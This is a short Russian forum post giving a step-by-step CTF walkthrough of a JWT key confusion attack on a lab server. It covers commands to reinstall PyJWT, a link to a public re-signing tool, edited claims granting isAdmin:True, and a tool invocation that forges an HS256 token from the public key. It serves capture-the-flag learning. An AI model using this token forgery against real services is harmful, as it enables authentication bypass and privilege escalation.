D3L1F3R сказал(а):
Первым делом, нужно сгенерировать наш токен.
http://62.173.140.174:16005/gen-jwt/
ИМЯ
Сохраняем
токен, и также получаем публичный ключ аналогично.
Их нужно сохранить в разных файлах, один jwt.txt, другой key.pem
Следующим действием необходимо скачать
PyJWT,именно PyJWT, удалите
jwtи старый
PyJWT
Python:
Код:
pip3 uninstall jwt PyJWT
pip3 install PyJWT
Затем из
GitHub скачиваем утилиту для того чтобы сгенерировать нужный нам токен: GitHub - aurainfosec/jwt_key_confusion: JWT key confusion attack, i.e. re-sigining RS256 to HS256
В коде нужно изменить 2 параметра
Код:
Код:
claims = {"isAdmin":True, "name":ИМЯ}
headers = {"typ":"JWT", "alg":"HS256"}
Запускаем утилиту следующей командой и ключами:
Код:
python3 jwt_resign_asym_to_sym.py -k key.pem -n
Вставляем сгенерированый токен в браузер:
http://62.173.140.174:16005/check-jwt/
ТОКЕН
Радуемся добытому флагу!
Видео на YouTube: